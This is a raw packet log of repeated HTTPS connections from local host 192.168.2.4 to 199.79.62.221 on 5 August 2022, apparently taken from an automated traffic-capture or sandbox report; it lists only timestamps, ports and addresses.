Aug 5, 2022 15:09:43.258754015 CEST	49822	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:43.258759975 CEST	443	49822	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:43.258847952 CEST	49822	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:43.265549898 CEST	49822	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:43.265580893 CEST	443	49822	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:43.265588999 CEST	49822	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:43.265664101 CEST	49822	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:43.631236076 CEST	49823	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:43.631303072 CEST	443	49823	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:43.631499052 CEST	49823	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:43.632061958 CEST	49823	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:43.632075071 CEST	443	49823	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:43.980775118 CEST	443	49823	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:43.980854988 CEST	49823	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:43.981395006 CEST	49823	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:43.981412888 CEST	443	49823	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:43.985527039 CEST	49823	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:43.985549927 CEST	443	49823	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:44.328744888 CEST	443	49823	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:44.328841925 CEST	443	49823	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:44.328877926 CEST	49823	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:44.328906059 CEST	49823	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:44.329231024 CEST	49823	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:44.329250097 CEST	443	49823	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:44.329262972 CEST	49823	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:44.329457045 CEST	49823	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:44.789165020 CEST	49824	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:44.789215088 CEST	443	49824	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:44.789328098 CEST	49824	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:44.789946079 CEST	49824	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:44.789958000 CEST	443	49824	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:45.133722067 CEST	443	49824	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:45.137739897 CEST	49824	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:45.141813040 CEST	49824	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:45.141833067 CEST	443	49824	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:45.156900883 CEST	49824	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:45.156929970 CEST	443	49824	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:45.479482889 CEST	443	49824	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:45.479577065 CEST	443	49824	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:45.479665041 CEST	49824	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:45.479702950 CEST	49824	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:45.491008043 CEST	49824	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:45.491048098 CEST	443	49824	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:45.491065025 CEST	49824	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:45.491117954 CEST	49824	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:45.882946014 CEST	49825	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:45.882992983 CEST	443	49825	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:45.883116961 CEST	49825	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:45.884227037 CEST	49825	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:45.884248972 CEST	443	49825	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:46.228467941 CEST	443	49825	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:46.228605986 CEST	49825	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:46.230657101 CEST	49825	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:46.230690956 CEST	443	49825	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:46.235277891 CEST	49825	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:46.235311985 CEST	443	49825	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:46.572150946 CEST	443	49825	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:46.572283983 CEST	443	49825	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:46.572297096 CEST	49825	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:46.572350979 CEST	49825	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:46.583904982 CEST	49825	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:46.583944082 CEST	443	49825	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:46.583956003 CEST	49825	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:46.584000111 CEST	49825	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:47.010960102 CEST	49826	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:47.011019945 CEST	443	49826	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:47.011125088 CEST	49826	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:47.012495041 CEST	49826	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:47.012528896 CEST	443	49826	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:47.358006954 CEST	443	49826	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:47.358295918 CEST	49826	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:47.366322994 CEST	49826	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:47.366359949 CEST	443	49826	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:47.371922016 CEST	49826	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:47.371951103 CEST	443	49826	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:47.700726032 CEST	443	49826	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:47.700817108 CEST	443	49826	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:47.700963974 CEST	49826	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:47.701404095 CEST	49826	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:47.701436996 CEST	443	49826	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:47.701453924 CEST	49826	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:47.704183102 CEST	49826	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:48.162273884 CEST	49827	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:48.162333965 CEST	443	49827	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:48.162491083 CEST	49827	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:48.163394928 CEST	49827	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:48.163419962 CEST	443	49827	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:48.507366896 CEST	443	49827	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:48.507544041 CEST	49827	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:48.508388996 CEST	49827	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:48.508394003 CEST	443	49827	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:48.514715910 CEST	49827	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:48.514729977 CEST	443	49827	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:48.852897882 CEST	443	49827	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:48.852984905 CEST	443	49827	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:48.853005886 CEST	49827	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:48.853039980 CEST	49827	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:48.866822004 CEST	49827	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:48.866852045 CEST	443	49827	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:48.866873026 CEST	49827	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:48.866910934 CEST	49827	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:49.328320026 CEST	49833	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:49.328361988 CEST	443	49833	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:49.328474998 CEST	49833	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:49.330799103 CEST	49833	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:49.330816984 CEST	443	49833	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:49.674480915 CEST	443	49833	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:49.674649000 CEST	49833	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:49.680495977 CEST	49833	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:49.680514097 CEST	443	49833	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:49.686887026 CEST	49833	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:49.686899900 CEST	443	49833	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:50.014503002 CEST	443	49833	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:50.014568090 CEST	443	49833	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:50.014600039 CEST	49833	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:50.014641047 CEST	49833	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:50.020916939 CEST	49833	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:50.020941973 CEST	443	49833	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:50.020953894 CEST	49833	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:50.020998001 CEST	49833	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:50.405566931 CEST	49834	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:50.405617952 CEST	443	49834	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:50.405714989 CEST	49834	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:50.406410933 CEST	49834	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:50.406433105 CEST	443	49834	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:50.754410028 CEST	443	49834	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:50.755419970 CEST	49834	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:50.755434036 CEST	49834	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:50.755441904 CEST	443	49834	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:50.769505978 CEST	49834	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:50.769526958 CEST	443	49834	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:51.100557089 CEST	443	49834	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:51.100728989 CEST	443	49834	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:51.100791931 CEST	49834	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:51.101317883 CEST	49834	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:51.117094994 CEST	49834	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:51.117129087 CEST	443	49834	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:51.117142916 CEST	49834	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:51.117938042 CEST	49834	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:51.534044027 CEST	49835	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:51.534095049 CEST	443	49835	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:51.534286022 CEST	49835	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:51.535377979 CEST	49835	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:51.535394907 CEST	443	49835	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:51.878400087 CEST	443	49835	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:51.880544901 CEST	49835	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:51.886044025 CEST	49835	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:51.886068106 CEST	443	49835	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:51.892285109 CEST	49835	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:51.892301083 CEST	443	49835	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:52.219264030 CEST	443	49835	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:52.219337940 CEST	443	49835	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:52.219461918 CEST	49835	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:52.231216908 CEST	49835	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:52.231275082 CEST	443	49835	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:52.231296062 CEST	49835	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:52.234147072 CEST	49835	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:52.693594933 CEST	49836	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:52.693778038 CEST	443	49836	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:52.694000006 CEST	49836	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:52.694581032 CEST	49836	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:52.694605112 CEST	443	49836	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:53.035849094 CEST	443	49836	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:53.035979033 CEST	49836	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:53.037544012 CEST	49836	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:53.037558079 CEST	443	49836	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:53.043941021 CEST	49836	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:53.043961048 CEST	443	49836	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:53.378024101 CEST	443	49836	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:53.378103018 CEST	49836	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:53.378135920 CEST	443	49836	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:53.378190994 CEST	49836	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:53.378808975 CEST	443	49836	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:53.378891945 CEST	49836	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:53.378928900 CEST	443	49836	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:53.378989935 CEST	49836	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:53.390310049 CEST	49836	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:53.390343904 CEST	443	49836	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:53.390362024 CEST	49836	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:53.390408993 CEST	49836	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:53.808185101 CEST	49837	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:53.808224916 CEST	443	49837	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:53.808315039 CEST	49837	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:53.809117079 CEST	49837	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:53.809125900 CEST	443	49837	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:54.154145956 CEST	443	49837	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:54.154303074 CEST	49837	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:54.157747030 CEST	49837	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:54.157763004 CEST	443	49837	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:54.163064003 CEST	49837	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:54.163081884 CEST	443	49837	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:54.490937948 CEST	443	49837	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:54.491041899 CEST	49837	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:54.491063118 CEST	443	49837	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:54.491082907 CEST	443	49837	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:54.491110086 CEST	49837	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:54.491219044 CEST	49837	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:54.491616011 CEST	49837	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:54.491630077 CEST	443	49837	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:54.491653919 CEST	49837	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:54.491683960 CEST	49837	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:54.909960032 CEST	49838	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:54.910034895 CEST	443	49838	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:54.910146952 CEST	49838	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:54.911103010 CEST	49838	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:54.911133051 CEST	443	49838	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:55.253215075 CEST	443	49838	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:55.253328085 CEST	49838	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:55.254764080 CEST	49838	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:55.254795074 CEST	443	49838	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:55.259104013 CEST	49838	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:55.259141922 CEST	443	49838	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:55.594185114 CEST	443	49838	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:55.594274044 CEST	443	49838	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:55.594413996 CEST	49838	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:55.607042074 CEST	49838	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:55.607079983 CEST	443	49838	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:55.607088089 CEST	49838	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:55.608831882 CEST	49838	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:56.112426043 CEST	49839	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:56.112461090 CEST	443	49839	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:56.112562895 CEST	49839	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:56.113697052 CEST	49839	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:56.113711119 CEST	443	49839	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:56.458357096 CEST	443	49839	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:56.459356070 CEST	49839	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:56.460191011 CEST	49839	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:56.460205078 CEST	443	49839	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:56.465769053 CEST	49839	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:56.465786934 CEST	443	49839	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:56.804687023 CEST	443	49839	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:56.804796934 CEST	443	49839	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:56.804824114 CEST	49839	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:56.804860115 CEST	49839	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:56.811645031 CEST	49839	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:56.811696053 CEST	443	49839	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:56.811717033 CEST	49839	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:56.811791897 CEST	49839	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:57.258652925 CEST	49841	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:57.258697033 CEST	443	49841	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:57.258786917 CEST	49841	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:57.259875059 CEST	49841	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:57.259891033 CEST	443	49841	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:57.602315903 CEST	443	49841	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:57.602499008 CEST	49841	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:57.604382992 CEST	49841	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:57.604418039 CEST	443	49841	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:57.613692045 CEST	49841	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:57.613704920 CEST	443	49841	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:57.944235086 CEST	443	49841	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:57.944363117 CEST	443	49841	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:57.944446087 CEST	49841	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:57.956382990 CEST	49841	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:57.956428051 CEST	443	49841	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:57.956443071 CEST	49841	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:57.956563950 CEST	49841	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:58.327873945 CEST	49842	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:58.327935934 CEST	443	49842	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:58.328069925 CEST	49842	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:58.329346895 CEST	49842	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:58.329380035 CEST	443	49842	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:58.679318905 CEST	443	49842	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:58.682945967 CEST	49842	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:58.686391115 CEST	49842	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:58.686412096 CEST	443	49842	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:58.691101074 CEST	49842	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:58.691121101 CEST	443	49842	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:59.028250933 CEST	443	49842	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:59.028369904 CEST	443	49842	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:59.028470039 CEST	49842	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:59.039009094 CEST	49842	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:59.039055109 CEST	443	49842	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:59.039069891 CEST	49842	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:59.039450884 CEST	49842	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:59.459085941 CEST	49843	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:59.459187031 CEST	443	49843	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:59.463027000 CEST	49843	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:59.463689089 CEST	49843	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:59.463737965 CEST	443	49843	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:59.808366060 CEST	443	49843	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:59.808518887 CEST	49843	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:59.809200048 CEST	49843	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:59.809216976 CEST	443	49843	199.79.62.221	192.168.2.4
Aug 5, 2022 15:09:59.813600063 CEST	49843	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:09:59.813628912 CEST	443	49843	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:00.151571989 CEST	443	49843	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:00.151649952 CEST	443	49843	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:00.151704073 CEST	49843	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:00.151740074 CEST	49843	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:00.152652025 CEST	49843	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:00.152693987 CEST	443	49843	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:00.152709961 CEST	49843	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:00.152770996 CEST	49843	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:00.511773109 CEST	49844	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:00.511820078 CEST	443	49844	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:00.511915922 CEST	49844	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:00.512635946 CEST	49844	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:00.512666941 CEST	443	49844	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:00.857692003 CEST	443	49844	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:00.857804060 CEST	49844	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:00.860244036 CEST	49844	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:00.860260010 CEST	443	49844	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:00.868578911 CEST	49844	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:00.868597031 CEST	443	49844	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:01.200870037 CEST	443	49844	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:01.200948954 CEST	49844	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:01.200968027 CEST	443	49844	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:01.200987101 CEST	443	49844	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:01.201033115 CEST	49844	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:01.201055050 CEST	49844	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:01.212261915 CEST	49844	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:01.212299109 CEST	443	49844	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:01.212306976 CEST	49844	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:01.212351084 CEST	49844	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:01.648514032 CEST	49845	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:01.648561001 CEST	443	49845	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:01.648649931 CEST	49845	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:01.650377035 CEST	49845	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:01.650405884 CEST	443	49845	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:01.999116898 CEST	443	49845	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:02.001929045 CEST	49845	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:02.002813101 CEST	49845	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:02.002835989 CEST	443	49845	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:02.007129908 CEST	49845	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:02.007160902 CEST	443	49845	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:02.343524933 CEST	443	49845	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:02.343589067 CEST	443	49845	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:02.343766928 CEST	49845	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:02.365246058 CEST	49845	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:02.365289927 CEST	443	49845	199.79.62.221	192.168.2.4
Aug 5, 2022 15:10:02.365334034 CEST	49845	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:02.365353107 CEST	49845	443	192.168.2.4	199.79.62.221
Aug 5, 2022 15:10:02.906161070 CEST	49846	443	192.168.2.4	199.79.62.221
